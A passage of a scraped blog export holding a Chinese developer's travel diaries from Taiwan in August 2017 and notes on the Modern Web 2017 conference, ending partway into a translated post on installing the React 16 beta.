第二天早上去的稍微晚了一点，去的时候敏捷实践经验分享已经开始了。开始了没一会儿 Gitter 大会聊天室就炸锅了，开始吐槽来上历史课了。我去听了下发现的确有点懵，不过后面对于敏捷开发项目管理等总结出来的一些经验还是深受大家的赞同的。\n爱，可曾记得 好了下面就是重头戏了！本次大会绝对不可错过的 Paul 老师的不正经分享之《爱，可曾记得》。听完对 Paul 老师的演讲功底佩服的五体投地，用聊天室的评价说就是“Paul 老师的感情溢出了”。演讲语言富有情感，声情并茂让我深处在投影教室也能感受到讲者的感情。另外 Paul 老师结合他自己的经历分享了一些在乏味的工作中重拾对编程的热情的一些方法，这对最近被工作烦不胜烦的我来说无疑是一记救心丸。很多 Paul 老师说的情况我都有感同身受，不过却远没有达到 Paul 老师的高度能轻而易举的化解。另外 Paul 老师的确也是敢爱敢恨，“共体时艰，共你老母哦共！”让我印象深刻，哈哈！最开始不太明白“共体时艰”是何意，回来之后查了一下资料之后发现这句话更有趣了，哈哈。总之 Paul 老师这次分享是这两天不可多得的内容之一，无论是演讲还是内容质量都非常高，一行代码都没有说的情况下获得了所有听者的一致好评就可见一二。\n大陆前端专场 到了下午就是大陆专场了，开始是苏千老师分享了 Node.js 在阿里的这些年。其实个人听完基本上可以看成是阿里 Node 系产品的一系列硬广了，不过毕竟发现离不开产品也是无可厚非就是了。阿恒的《如何打造自己的 PWA》算是这几场里的干货之一了，内容非常多可能时间原因讲的很快，一点都不带卡顿的很佩服。老教授的《公司級元件複用方案實踐》讲了下 AlloyTeam 内部的组件复用方案，有一些比较有趣的点会后还和老教授交流了一下。最后的重点就是 Hax 贺佬强推 JS 的《JavaScript - 世界第一程式設計語言》。贺老还是一如既往的高桥流风格 Slide，演讲功力也超赞，切 Slide 速度超快我有时想照相都会错过。听完贺老的分享我只觉得，JS 将征服世界！\n图为 hax 准备分享世界上最好的语言\n后记 中国场的几个讲师准备都非常用心了，甚至还在纠结要不要将 Slide 里面的简体中文换成繁体中文，有些老师很用心的换了，甚至一些表述不一样的词语也换成对应的表示方法了。架构场的陈斌老师甚至最后都用英文演讲了（虽然最后还是被大家切换语言为中文了），可见大家的足够重视。引用 Winter 老师的话来说，总的来看台湾的技术圈还是比较活泼的。大家都非常喜欢折腾，而且喜欢敏捷开发（在大会不止一次听到），serverless 之类的服务。由于没有墙的阻拦，很多人的技术都非常接轨国际，无论是技术选型还是使用的技术产品（各位看到我的羡慕脸了么！）。不过本次大会的议题好像 JS 应用层的话题比较多，对于 CSS 以及我比较感兴趣的 SVG 动画方面的话题略少，CSS 仅有 Grid 布局一个分享，SVG 动画更是没有。希望下次还能有机会听听台湾同胞更多类型的分享，共享下大家的研究成果。\n图为士林夜市\n","count":3380,"date":"2017年08月12日","featuredImage":null,"permalink":"https://imnerd.org/taiwan-taipei-2.html","summary":"\u003cp\u003e本篇会讲述一下两日内听到的分享的内容的感想。浪了这么多天，总算是到了干“正活”的时候了。这两天参加了 \u003ca href=\"http://modernweb.tw\"\u003eModern Web 2017\u003c/a\u003e 大会。第一次参加台湾的技术大会，发现整个大会的氛围还是组织形式都和大陆的有非常大的区别，有非常多值得我们学习的地方。\u003c/p\u003e\n\u003ch2 id=\"大会硬件外设及周边\"\u003e大会硬件外设及周边\u003c/h2\u003e\n\u003cp\u003e首先别的不说，官网 \u003ca href=\"http://modernweb.tw\"\u003ehttp://modernweb.tw\u003c/a\u003e 做的就非常的用心，居然在首页内藏了一个游戏，不得不说主办方的用心良苦。另外还有就是所有的大会都有在线的协作笔记，可以让参会者快速的录入学习内容并共享给大家。去年的时候有了解另外一个类似的台湾大会，他们也是有一样的东西。我觉得这个非常好，可以像上课一样记笔记，还可以把大家的笔记集合起来。另外还有几个非常有意思的地方：\u003c/p\u003e","time":7,"title":"台湾行之台北（二）"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"由于订了很早的高铁票，市区距离高铁站又是那么远所以早早的打了个出租过去。出租价钱是三百，相比较昨天两百到彩虹眷村的价钱，简直不能更合理了（可见昨天的阿姨有多狠）。\n到台北之后立马发现果然是大都市，出了站就有捷运可以坐，随处都能看到垃圾桶的感觉真好。比较尴尬的事是 Modern Web 的组委会好像酒店预订有点问题，同事一直没有查到他的预订。最后等他们处理了一下就跑去和佳锦他们约的地点了。超久没见到孟纶和佳锦、娟姐了，看了下发现大家还没怎么变，吃饭过程中聊的超开心。\n图为国父雕像和台币上的国父\n饭毕跟着佳锦一块去了101大厦，然后大太阳下拉她走了好久。跑到国父纪念馆溜达了一圈，看到国父护卫队的军官下班，和大陆的有点不太一样。之后佳锦就回去了，我们去了趟松烟文创区，稍微走了一下本来打算去象山的，结果太晚了我们就去鼎丰盛吃东西去了。鼎丰盛的服务超好，吃的也很不错。\n图为中山纪念堂内国父雕像\n图为鼎泰丰小吃，服务员态度超棒的说！\n吃完我们在新光三越上逛了一下，路上有碰到新人在人行道上拍婚纱照，超级美！还有很多街头艺人，真的很棒。要走的时候去了一家奶茶店买分层奶茶，结果碰到了一个超有意思的老板，给我们介绍奶茶然后谈天说地各种扯，还有当演员简直不能更棒了！碰到这种人简直不能更开心。\n图为新人在人行道上拍婚纱照\n图为阿恒给街头艺人打赏\n本来说两点到酒店的，结果回来都九点了，回来之后发现果然之前我们订的宾馆太便宜了，这才是正常的商务酒店的样子。回来还有看到电视台上播台北世大运里台湾被称为中华台北队的问题，感觉有些说的还蛮有道理的。\n明天会去参加 Modern Web 大会，可能不会有很多时间出去玩，不过偶尔还是可以逛逛台大的，敬请期待。\n","count":692,"date":"2017年08月09日","featuredImage":null,"permalink":"https://imnerd.org/taiwan-taipei-1.html","summary":"\u003cp\u003e由于订了很早的高铁票，市区距离高铁站又是那么远所以早早的打了个出租过去。出租价钱是三百，相比较昨天两百到彩虹眷村的价钱，简直不能更合理了（可见昨天的阿姨有多狠）。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://blog.imnerd.org/static/upload/20170820/hxVk3eK5NsV_66uxa6WrOUiD.JPG\"\u003e\u003cimg src=\"https://blog.imnerd.org/static/upload/20170820/hxVk3eK5NsV_66uxa6WrOUiD.JPG\" alt=\"101大厦\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e到台北之后立马发现果然是大都市，出了站就有捷运可以坐，随处都能看到垃圾桶的感觉真好。比较尴尬的事是 Modern Web 的组委会好像酒店预订有点问题，同事一直没有查到他的预订。最后等他们处理了一下就跑去和佳锦他们约的地点了。超久没见到孟纶和佳锦、娟姐了，看了下发现大家还没怎么变，吃饭过程中聊的超开心。\u003c/p\u003e","time":2,"title":"台湾行之台北（一）"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"前言 昨晚至萱一张照片炸出了一堆地陪，秀贞盛情难却最后定下了早上到火车站见一面。不得不说本次台南的这个商旅实在是不行，必须要下午三点钟才能入住不说（我们十二点就到了），甚至连早餐都非常一般。虽然说价钱便宜，但也没便宜到这种什么都可以随便的价钱吧，摊手！\n图为东海大学内一角（不要问我为什么要在这里插入此图，我是不会和大家说实在是没地方放图了的→_→）\n总算见到了秀贞了，比起上次见到她真的有瘦很多，得知她之前有过骨折更是替她担心，好在一切都已过去。好久不见我们天南海北的聊了很多，之前一直以为她毕业后就回台东教书了，结果后来还是回到了台南。知道我们要去特别荒凉的台中高铁站，特地给我们带来了台南的特色小吃米粿以及豆浆奶茶给我们当早午餐用，而且超级温馨的给了我们一份辣的和不辣的，正好是我们的口味，简直不能更 sweet 了！米粿的口感也很特别，绵软但又略微脆爽，汤汁则是酸中带辣，胡椒辣有点像是胡辣汤，但是又没有胡辣汤那么呛，非常棒！豆浆奶茶则是把豆浆和奶茶两个我非常喜欢的饮料融合在了一起，对我来说简直是美味的存在！\n图为在火车上拍摄到的“道友渡劫”，局部下暴雨\n彩虹眷村 非常不舍的与秀贞告别之后我们踏上了去高铁站的区间车。台湾的区间车有点介于地铁和城际的感觉，地铁的造型但是确实城际的里程。座位是沙发座，而且还有冷气，人也很少非常准时。台南和台中的高铁站真的好偏远，和大陆一样都是建在偏远地区。考虑到酒店在市区，但是要去的一个景点——彩虹眷村却在高铁站附近。所以我们把东西寄存在了高铁站准备去眷村回来取了行李再去市区酒店。\n图为彩虹眷村一角，其实整个彩虹眷村非常小\n公车太难等没办法我们选择打计程车到眷村。彩虹眷村是个很小的经典，有很多五颜六色的神奇插画在墙上。稍微看了一下觉得没什么意思就回去高铁站拿行李等公车（公车真的超难等！）去酒店了。虽然没有大陆大，但是这一趟坐了一个小时也是让我印象深刻，想想明天还要坐过来就更是心累。之前我们两次在 Booking 上订的酒店都在红灯区附近，以为这就是 Booking 的梗，结果这次的酒店超正常让我们瞬间无言以对了。\n东海大学 图为东海大学校门口校名\n图为东海大学校门口超美的凤凰花\n图为东海大学约农路一角\n到了酒店同事说今天太累了准备在宾馆睡觉，我则是按照之前至萱给我的推荐准备去东海大学逛逛。又坐了一个小时的车到了东海大学，上车被司机说要上车的话提前招手就好（可是我真的一趟都没等到啊！），摊手~ 东海大学真的超级美，整个校园都是日式建筑，真的美的毫无抵抗力。而且校园也超级大，逛了一个小时一直都在走走走，就这样还没有逛完整个校园。让我印象深刻的是，整个学校就和电影里看到的一样，每个社团都有自己的办公室，每个教师都有自己的一小片“别墅型”宿舍，羡慕的没话说！走着走着我就走到了学校最边上的一条小道，一路空旷超级喜欢这种感觉。\n图为东海大学的日式建筑\n图为误入学生活动中心拍摄的舞蹈排练\n图为豪华别墅型教工宿舍，和电影里的一模一样\n图为东海大学内敦煌书局计算机分类，可以看到台湾的图书还是很新潮的，很多时髦的技术已经有翻译书出现了。\n路思义教堂 至萱另外推荐的路思义教堂也正好在学校里头，去看了下建筑本身配上绿茵草地以及广袤的蓝天，简直就是一幅超美的风景画。\n图为路思义教堂\n图为路思义教堂旁边的草地，风景非常美，可以拿来当壁纸系列\n中华路夜市 唯一遗憾的是当我要回去的时候才发现把一卡通给弄丢了，心疼自己。回到酒店赶快拉同事出来吃晚饭，旁边正好有一家猪脚面线点大众上好评率超高。去了之后傻愣愣的两个人跟在外卖队排了好久，结果问了才知道可以直接去吃。他们家猪脚卖完即止，我们非常幸运的在最后关头吃到了。猪脚面线过后我们去吃了大家强烈推荐的宫原眼科冰淇淋，去的时候正值高峰期，排队的人真是超多。虽然病院眼科的 LOGO 有点恐怖，不过真的是挺好吃的。吃完之后我们又去了比较近的中华路夜市，可能是没到点道路两边稀稀落落的散落着几家店铺。这种感觉看起来也很舒服，总有种感觉这才是夜市原本的样子。\n图为猪脚面线\n图为宫原眼科的冰淇淋！\n后记 今天台中没怎么去景点，因为台中的各种景点真的超级远，到哪都得好几公里，和高雄台南完全不一样。而且交通也很不方便，没有像前两次一样租车，也没有捷运，只能坐慢慢的公交，真是没办法。所以来台中最好还是有地陪（可惜我的地陪因为有事没办法招待我们），或者是有国际驾照租个车还是会更方便一点的。\n图为东海大学边上无名小路一角\n图为东海大学某职工宿舍内可爱的水漏\n","count":1812,"date":"2017年08月08日","featuredImage":null,"permalink":"https://imnerd.org/taiwan-taizhong.html","summary":"\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e昨晚至萱一张照片炸出了一堆地陪，秀贞盛情难却最后定下了早上到火车站见一面。不得不说本次台南的这个商旅实在是不行，必须要下午三点钟才能入住不说（我们十二点就到了），甚至连早餐都非常一般。虽然说价钱便宜，但也没便宜到这种什么都可以随便的价钱吧，摊手！\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://blog.imnerd.org/static/upload/20170818/gGghJ8kZlVoX2928uLT5SEwj.JPG\"\u003e\u003cimg src=\"https://blog.imnerd.org/static/upload/20170818/gGghJ8kZlVoX2928uLT5SEwj.JPG\" alt=\"东海大学内一角\"\u003e\u003c/a\u003e\n图为东海大学内一角（不要问我为什么要在这里插入此图，我是不会和大家说实在是没地方放图了的→_→）\u003c/p\u003e","time":4,"title":"台湾行之台中"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"周一闭馆 图为高雄服役誓师大会\n讲道理，周一的台南真的是超级丧。从高雄火车站坐火车到台南，路上碰到了新兵服役誓师大会，这种大陆没有的东西看着真挺新鲜。中午到酒店结果告知下午三点才能入住，摊手~ 老样子定好机车的我们就朝着景点出发了。不过周一大家好像都在闭馆，去司法官闭馆，去文学馆闭馆，去纪念堂闭馆，甚至是想吃的水果店也闭馆！简直不能更难过了！\n图为闭馆的司法馆\n图为闭馆的文学馆\n孔庙和度小月担担面 图为孔庙门口\n图为在孔庙附近拍摄到的由于天气太热松鼠都受不了了，全身趴在石头上解暑\n图为重庆寺\n没办法的我们去孔庙转了一圈之后就华丽丽的跑度小月担仔面去吃中饭了。不愧是台南盛名的小吃，等位的人超多！不过粗略看了下还是很多游客的。等了很久之后尝了下味道确实不错。饭毕我们又在附近溜达了一下，怎奈何太阳实在是太毒辣，逛了个重庆寺我们就没有动力继续前行了。好在台南的盆友及时的发来了指明星，让我们去有冷气的地方——林百货！\n图为中午在度小月担担面\n图为度小月担担面的“厨房”\n林百货 刚进门的一刹那我们真的就感觉得到了救赎一样。林百货是台南的文创商场，从大楼到商品无一不具有历史意义。顶楼还有一个阁楼神社，看起来很是新鲜。在顶楼享受了一下黑豆花，下楼看了一下林百货的视听资料就准备下楼了。这里不得不说台湾很多文物古迹旁都会有视听资料播放，真的是非常棒的思路。临出门想起了给妈妈买条丝巾，然后再买了点伴手礼准备带回去。林百货算是本日逛得最值得的景点了。\n图为林百货楼顶的神社\n图为在林百货楼顶享受的红豆黑豆花\n安平古堡与德阳舰 之后我们没有听从之前老伯和我们说的奇美博物馆（因为我们觉得太远了…）去了安平古堡以及德阳舰。直面烈日的灼烧，我们骑了二十多分钟才到了安平古堡，内部除了历史博物馆有点意思之外其他的倒也还好。至于德阳舰由于要收门票兴趣不大的我们就没有进去了。不过对于第一次看到舰艇的我，还是觉得很不错的。\n图为在安平古堡塔顶俯拍安平\n图为安平古堡内郑成功事迹碑\n图为德阳舰\n大东夜市 回到市区总算是太阳下山了，赶紧把本日最重要的地陪约了出来！至萱带着我们吃了肉燥饭，冰沙然后去了最重要的大东夜市！在冰沙店我们边吃边聊，天南海北的说了很多。大东夜市比起昨天见到的六合夜市要气派多了，而且也不会是专门用来坑大陆客的，摊手。\n图为地陪带我们吃好吃的肉燥饭！\n图为地陪带我们逛大东夜市\n后记 总的说来台南因为周一的原因，有太多的东西我们没有逛过了。而且一天的时间真的只能是走马观花了，远远不足以表现出台南的美出来。不过最重要的还是见到了至萱，上次北京一别已有好几年没见过了，这次一见还是很开心的。结果晚上至萱脸书上 Po 了我们的皂片，叮当哥和秀贞等人纷纷来约，搞得我是受宠若惊。最后决定了明早火车站见下秀贞，台中可以约一下叮当哥。\n图为高雄火车站拍摄的火车\n最后以我们可爱的小松鼠作为结尾，敬请期待明天的台中篇吧！\n","count":1173,"date":"2017年08月07日","featuredImage":null,"permalink":"https://imnerd.org/taiwan-tainan.html","summary":"\u003ch2 id=\"周一闭馆\"\u003e周一闭馆\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://imnerd.org/assets/migration/blog.imnerd.org/static/upload/20170818/J4QxL136YbhQPfF5rH-y7ahe.png\"\u003e\u003cimg src=\"https://imnerd.org/assets/migration/blog.imnerd.org/static/upload/20170818/J4QxL136YbhQPfF5rH-y7ahe.png\" alt=\"服兵役\"\u003e\u003c/a\u003e\n图为高雄服役誓师大会\u003c/p\u003e\n\u003cp\u003e讲道理，周一的台南真的是超级丧。从高雄火车站坐火车到台南，路上碰到了新兵服役誓师大会，这种大陆没有的东西看着真挺新鲜。中午到酒店结果告知下午三点才能入住，摊手~ 老样子定好机车的我们就朝着景点出发了。不过周一大家好像都在闭馆，去司法官闭馆，去文学馆闭馆，去纪念堂闭馆，甚至是想吃的水果店也闭馆！简直不能更难过了！\u003c/p\u003e","time":3,"title":"台湾行之台南"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"前言 经过昨天的烈日灼烧，早上的我们毫不犹豫的第一要事就是买防晒袖套！可能因为第一天太亢奋了，所以今天起的有点晚，出门已经九点多了，然而想去路过的吉安特买骑行袖套的时候发现他们居然十点才开门。看了下好像这边的店铺基本上都是十点十一点才营业的样子。跑去就近的家乐福买，结果因为我们妄想从结账出口进去被刚结完账出来的大叔一脸智障的看着。第一天还觉得高雄物价还算正常的我买完袖套之后立马就被震惊了，一个袖套要70人民币左右，也是惊呆我了。\n85大厦 图为远处拍摄的85大厦\n图为近处拍摄的85大厦\n由于第一天我们走到哪都能看到高雄的地标85大厦，遂想着今早过去看看。过去的路上一位机车大叔提示我前车灯没有关，过了一会儿又找我聊问了些问题。然而由于他带着口罩我没有听太清楚，可能是因为我是电动车的问题，问我为什么没有排气管和车牌之类的吧，摊手。85大厦进去之后大失所望，内部环境远配不上远处看到的宏伟，零零散散的分散着几家商铺，空荡的大厅里没什么人气。失望的我们结果去了一个没有展览的高雄展览馆，然后「失望++」。\n图为85大厦内部仰拍，非常喜欢，可以拿来做壁纸的感觉\n图为在高雄图书馆顶部拍摄的高雄展览馆\n高雄图书馆 正当我们低沉的时候在旁边看到了一栋种满树的建筑，上去一看发现居然是市立图书馆。总共有七层，每层有大量的藏书可供借阅，涉及文理地史烹医教等各个方面。同时提供了大面积的阅读区，我粗略地看了一下，各种年龄范围的人群都有，都沉溺在书海之中。除了书籍之外还有很多视听资料，并且提供了环绕电视收看，我们去的时候有看到很多父母带着小孩，情侣之类的观看动物、风景类的视频。除了藏书令我叹为观止之外，图书馆建筑本身的设计也非常的精美，环形长楼以及中间的镂空草地都令我眼前一亮。更别说巧夺天工的在利用顶层空间做了一个花园，无论是景色还是视角都是美不胜收。85大厦以及刚去的高雄展览馆都尽收眼底。总的来说市立图书馆是我们今早的一个意外之喜，非常值得一去。另外从一个图书馆的建设来看，特别是当我看到男女老少都在认真看书学习的时候，我突然觉得虽然大陆的经济正在高速发展，但是人民的精神文化建设相对于台湾来说还是有不小的差距的。\n图为种满绿树的高雄图书馆一角\n图为高雄图书馆内摆置的书雕\n图为高雄图书馆内的盲文书籍\n好吃的牛二牛肉面 从图书馆出来之后查不多到饭点了，这次去吃牛肉面了！在大陆天天排队的我们没想到跑到湾湾来了也一样逃脱不了排队的命运。苦苦等待了二十多分钟之后总算吃到了我心水已久的台湾牛肉面了。整个的口味和经常吃的兰州拉面有非常大的区别，总感觉咸中带点微甜，面也是手工的挂面系列，牛肉则是选择牛腱子肉切大块制成的。整体搭配起来大快朵颐非常的爽！不过他们家的配菜意外的非常辣，不怎么吃辣的同事由于误加了导致没吃多少，摊手。\n图为超好吃超好吃的牛肉面！\n国立中山大学 同事说“不喝五十岚，台湾就白来”，作为手摇奶茶鼻祖一定是要尝试一下。不过我最后看了下手摇奶茶的鼻祖已经改用机器代替人工手摇了… 不过价钱适中，味道还是不错的。休息片刻后我们就朝着我们的下个目的地——国立中山大学出发了！\n图为国立中山大学校门口\n昨天在炮台碰到的阿姨就说中大内好多狗，去了发现果然如此。把中大溜达了一遍又累又晒的我们草草的结束了中大之行。出来之后赶紧去711买了冷饮开始回血！可能是我的期望太大，也有可能我们并没有逛完中大，反正我个人对中大是略带失望吧。\n打狗铁道故事馆 图为在铁道馆旁拍摄的草地美景\n接下来要去的打狗铁道故事馆成了我们下午的一个小兴奋剂，内部关于铁道的资料以及在播放的关于铁道迷的视听资料都让我看的意犹未尽。各式各样的火车头也算是另一处不错的风景。可惜内容不是非常多，除了看了很久的视听资料之外其它的内容没过一会儿就看完了。整体耗费时间不会很长，推荐有兴趣的同学去一去。\n图为在铁道馆内拍摄到的火车头\n武德殿 正愁下一站去哪里的我们看到了宣传海报上的经典推荐，我就随口说了一句要么就去武德殿吧。到了武德殿之后发现其实就是日式剑道道场。由于只在动漫中见过，对于日式道场我个人还是非常感兴趣的，前前后后拍了个遍，里面的道场练习服，神龛，剑架各种东西都拍个了遍，却仍旧觉得意犹未尽。整个武馆尽显日式风格，甚至连旁边的管理室粗瞥进去也是一地的榻榻米。武德殿算是我们下午最大的意外之喜了，满意度十分！\n图为武德殿道场内正面摆设\n西子湾夕阳 图为阿恒左右两侧的小孩一块在等待夕阳\n由于昨天在打狗领事馆已经能正确的计算大概是晚六点半左右的落日时间，所以逛完武德殿没地去的我们看着时间差不多就回到了西子湾准备拍夕阳。苦苦等待了一个小时之后总算等到了夕阳，懒得拍照的我索性直接开了录像模式全程录了下来。看着夕阳慢慢的落入海平面以下，一种说不出来的舒爽油然而生。我想这大概是我的“高盛满夕阳，何事欲沾裳”吧！下面放上我录好的视频：\n六合夜市和阿国鹅肉 去还了租借了两天的电动车，一种不方便感就涌上心头。坐捷运去了大众推荐的正中排骨饭，结果已经到下班点了。无奈的我们只能去了六合夜市，刚看到夜市入口我们就有种要被“坑”的预感。果然比起昨天的自强夜市，价钱真的不是差那么一点半点，特别是水果，昨天自强买的释迦才100台币，这边基本上都要 120+台币，只恨昨天为什么没多买一点。所以说如果是高雄夜市的话还是推荐自强夜市多一点。\n图为六合夜市买的臭豆腐，芒果和章鱼烧以及阿国鹅肉的三杯鸡\n最后没吃晚饭的我们又去了阿国鹅肉，妄想再碰到上一次的卖酒台妹的我们这次大失所望。可能来的时间点正好是高峰期，菜品的感觉比上一次吃都要差一点，当然我是不会和你说因为没有看到正妹而略感难吃的啦！哈哈哈哈！\n后记 就这样我们结束了高雄的两天三夜之旅，基本上马蜂窝推荐的景点我们都有玩，没推荐的景点我们也是瞎猫碰上死耗子充满了意外惊喜。整体上高雄给我的感觉就是日式风格，有很多值得我们大陆去思考学习的地方。推荐给大家，相信你和高雄的邂逅一定会给你留下深刻的印象。\n大家敬请期待明天的台南之旅吧！\n","count":2433,"date":"2017年08月06日","featuredImage":null,"permalink":"https://imnerd.org/taiwan-gaoxiong-2.html","summary":"\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e经过昨天的烈日灼烧，早上的我们毫不犹豫的第一要事就是买防晒袖套！可能因为第一天太亢奋了，所以今天起的有点晚，出门已经九点多了，然而想去路过的吉安特买骑行袖套的时候发现他们居然十点才开门。看了下好像这边的店铺基本上都是十点十一点才营业的样子。跑去就近的家乐福买，结果因为我们妄想从结账出口进去被刚结完账出来的大叔一脸智障的看着。第一天还觉得高雄物价还算正常的我买完袖套之后立马就被震惊了，一个袖套要70人民币左右，也是惊呆我了。\u003c/p\u003e\n\u003ch2 id=\"85大厦\"\u003e85大厦\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://blog.imnerd.org/static/upload/20170817/igMlXp8Kvt4vR-GLLzcpibIH.JPG\"\u003e\u003cimg src=\"https://blog.imnerd.org/static/upload/20170817/igMlXp8Kvt4vR-GLLzcpibIH.JPG\" alt=\"85大厦\"\u003e\u003c/a\u003e\u003c/p\u003e","time":5,"title":"台湾行之高雄（二）"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"趁着同事作为讲师参加 Modern Web 2017 的机会，我也蹭着来台湾游玩学习了一把。由于十号的会议，所以我们计划提前几天从高雄由南一路北上到台北玩耍过去。\n前言 本来预定的四号早上八点的飞机到香港然后香港转机到高雄，预计是下午一点多到的。结果某人最近比较哀，在天气一路开绿灯飞机也已经在机场的情况下碰上了飞机坏掉了的 BUG！结果只能改签到下午的飞机，结果我们到晚上八九点才算是抵达高雄。[摊手] 而且郁闷的是箱子被撞坏了一个角，看着简直烦躁，哎！\n中国电信的卡有点尴尬，到了香港之后就没有服务了，所以香港之后手机一直处于失联状态。出了机场第一件事就是取钱，然后买行动 WiFi，然后买悠游卡（不过我买的是 iPass 一卡通）。做完这三件事你就可以无忧无虑的继续出行了。\n图为地铁里看到的萌化地铁娘\n离开大陆之后其实也算是肉身翻墙了，赶紧用上 Google Map 导航到之前在 Booking 上预订的酒店。然而我们俩人对地图的理解都没有到位，废了一小（Da）会劲才到住处。住的地方中规中矩，需要的东西一应俱全。收拾了下之后我们就出去找我们路过时就看到的“夜店”，啊不，“阿国鹅肉”了！点了两个菜，发现都意外的好吃。ps. 卖酒小妹也很正的说~\n图为阿国鹅肉，鹅肉和蛋黄虾超赞的说！\n旗津半岛 由于一天都没怎么休息好，回来之后按照马蜂窝的攻略草草的定了下行程我们就睡了。早上去吃了酒店的早餐，东西种类都很多，味道也很 OK！然后我们就奔向了我们的第一站：旗津半岛。\n图为旗津半岛的海滩与海浪\n出地铁口里面就有当地小哥非常热情的给我们推荐机车租用服务，不过我个人一向是对这种太热情的服务不太感冒，而且以为肯定其它地方也会有租车服务，所以就草草的过掉了。旗津半岛是个人工半岛，乘坐渡轮即可到达，从渡轮上去看海港的风景还是很不错的，这里必须要推荐一下。旗津半岛上走了一会儿我们实在是晒的慌赶紧租了脚踏车，去了他们盛赞的星光隧道。结果只是人工画了几个星座在隧道顶部而已…wtf?! 去了炮台，结果并没有炮… 找了半天终于找到了港口灯塔的入口，爬山涉水上去之后拍了张青天白日旗就下来了。\n图为没有星光的星光隧道\n图为远处拍摄灯塔\n图为近处拍摄灯塔\n环岛游玩了几处景点在大众上找了一家万三小吃店，在一个港口城市点了份叉烧肉，结果意外的非常好吃！得到了广东同事的交口称赞。由于实在是热炸了，免费红茶喝到饱~大众的推荐确实还不错，价钱也还算实惠。\n图为万三小吃以及让阿恒赞不绝口的叉烧\n图为在旗津看到的沙雕，放出来让大家看看台湾人民的迷の艺术审美\n回来的路上又路过之前推荐租车的小哥，这回我们果断主动去搭讪了。豪华的我们因为没有台湾驾照，最后租了两辆电动车一路开开心心的去了驳二艺术区。\n图为骑到机车开心到飞起的阿恒\n想去旁边的情人码头未果的我们发现所谓的驳二艺术区完全就是798嘛，摊手~ 不过中间看了一个摄影展还蛮有意思的。\n图为在驳二与阿恒“恩爱”互拍 XD\n图为驳二撒尿小孩水龙头，我准备拍照的时候正好水龙头关了，摊手~\n高雄历史博物馆 草草的结束了驳二之旅我们踏上了高雄历史博物馆。历史博物馆里有大量的关于高雄文化、文物、渔业以及重大的二二八事件。看完了之后学到了蛮多东西的。而且历史博物馆的前身就是高雄市政府，建筑本身恢弘大气，内部的展览馆做的也非常的精致，布局规划以及展示做的都非常棒，有些寓教于乐的机关做的也非常用心。对于想要了解高雄历史的同学我是要强烈推荐的了。\n打狗领事馆 沿着爱河（你没听错，就叫爱河），我们去了玫瑰圣母堂。外观是很不错啦，不过里面就是做弥撒的地方，讲道理是没什么高看的。百无聊赖的我们就决定去打狗领事馆了。一路机车前行还买了门票进去了，结果碰到了各种旅行团，领事馆内人简直爆满。一路就是攀爬，除了到顶之后能够俯览高雄另外由于我们去的时间正好赶上了夕阳落日的美景之外，其它的真的没什么好推荐的。如果想俯览高雄的，可以去炮台，如果想要拍夕阳的话也可以在旁边的西子湾拍，都是免费不需要门票的，啊哈！\n图为在领事馆俯拍高雄\n图为在领事馆拍到的夕阳\n出来的时候还碰到个小插曲，有个“义工”问我们是不是大陆的游客，然后一个劲的给我们宣扬法轮功是合法的教会，不要轻信共产党的一面之词之类的。作为一个无神论者对这种行为真的是表示不屑一顾，┑(￣Д ￣)┍。\n卤肉饭和夜市 回到租车点给电动车换了电池之后我们就准备去吃晚饭了。晚饭当然又是大众上解决的啦！之前被成银他们诱惑的不行，所以来台的一个目标就是吃到真正的台式卤肉饭！选了一个评分还不错的南丰卤肉饭，确实和我司所谓的台式卤肉饭完！全！不！一！样！好吃简直不能更棒！出来之后正好是一个夜市，体验了一下久闻的台湾夜市，发现好吃的真的太多了，只恨钱和胃都不够啊，摊手~\n图为正宗的超大块肉的台湾卤肉饭！\n不过在夜市买到了一个超级好吃的水果——释迦！感觉打开了新世界的大门，甜甜软软的口感真的超级好吃。\n图为好吃的难以附加的释迦\n出了夜市的我们本来想听从一块吃饭碰到的大哥的推荐晚上再去爱河看看的，结果走到半路上发现行动 WiFi 没电了所以只能回宾馆了，摊手~ 回来之后立马买了防晒霜和芦荟精华对今天的暴晒做处理，也不知道明天能不能正常出行，摊手。\n图为已成为景点的高雄车站\n总之，第一天的行程已经让我爱上高雄了！这个城市简直太让我喜欢~\nPS：先写日志之后回来再补图吧！\n","count":2128,"date":"2017年08月05日","featuredImage":null,"permalink":"https://imnerd.org/taiwan-gaoxiong-1.html","summary":"\u003cp\u003e趁着同事作为讲师参加 \u003ca href=\"http://modernweb.tw\"\u003eModern Web 2017\u003c/a\u003e 的机会，我也蹭着来台湾游玩学习了一把。由于十号的会议，所以我们计划提前几天从高雄由南一路北上到台北玩耍过去。\u003c/p\u003e\n\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e本来预定的四号早上八点的飞机到香港然后香港转机到高雄，预计是下午一点多到的。结果某人最近比较哀，在天气一路开绿灯飞机也已经在机场的情况下碰上了飞机坏掉了的 BUG！结果只能改签到下午的飞机，结果我们到晚上八九点才算是抵达高雄。[摊手] 而且郁闷的是箱子被撞坏了一个角，看着简直烦躁，哎！\u003c/p\u003e\n\u003cp\u003e中国电信的卡有点尴尬，到了香港之后就没有服务了，所以香港之后手机一直处于失联状态。出了机场第一件事就是取钱，然后买行动 WiFi，然后买悠游卡（不过我买的是 iPass 一卡通）。做完这三件事你就可以无忧无虑的继续出行了。\u003c/p\u003e","time":5,"title":"台湾行之高雄（一）"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":" 原文：http://www.zcfy.cc/article/3733\n令人欣慰，React 16 首个 beta 版已经发布可以公开测试了！下面我来告诉大家如何使用以及新版的一些值得注意的地方。\n如何使用 安装 由于还是 beta 版，为了保障正常 NPM 安装还是使用 15.6 正式版，beta 版我们使用 next 标签发布在 NPM 上，你需要使用如下命令安装使用 beta 版：\n# Yarn yarn add react@next react-dom@next # NPM npm install --save react@next react-dom@next Javascript 环境要求 由于 React 16 依赖 Map 和 Set 